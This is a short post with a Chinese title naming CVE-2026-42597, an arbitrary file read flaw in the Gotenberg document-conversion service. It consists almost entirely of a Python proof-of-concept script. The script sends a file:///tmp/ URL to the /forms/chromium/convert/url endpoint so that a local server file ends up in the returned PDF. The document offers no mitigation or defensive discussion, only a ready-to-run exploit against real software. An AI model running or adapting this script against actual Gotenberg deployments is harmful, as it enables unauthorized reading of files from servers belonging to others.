CVE-2026-42597 Gotenberg 任意文件读取漏洞

import requests def exploit_poc(target_host): """ PoC for CVE-2026-42597 Demonstrates reading a file from /tmp/ using the vulnerable URL route. """ # The vulnerable endpoint for URL conversion endpoint = f"{target_host}/forms/chromium/convert/url" # Malicious payload pointing to a file in /tmp/ # In a real attack, the attacker would guess the specific working directory # or enumerate files in /tmp/ data = { "url": "file:///tmp/sensitive_source_file.html" } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, data=data) if response.status_code == 200: print("[+] Request successful. The file content might be in the response/PDF.") print(f"[+] Response length: {len(response.content)} bytes") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" exploit_poc(target)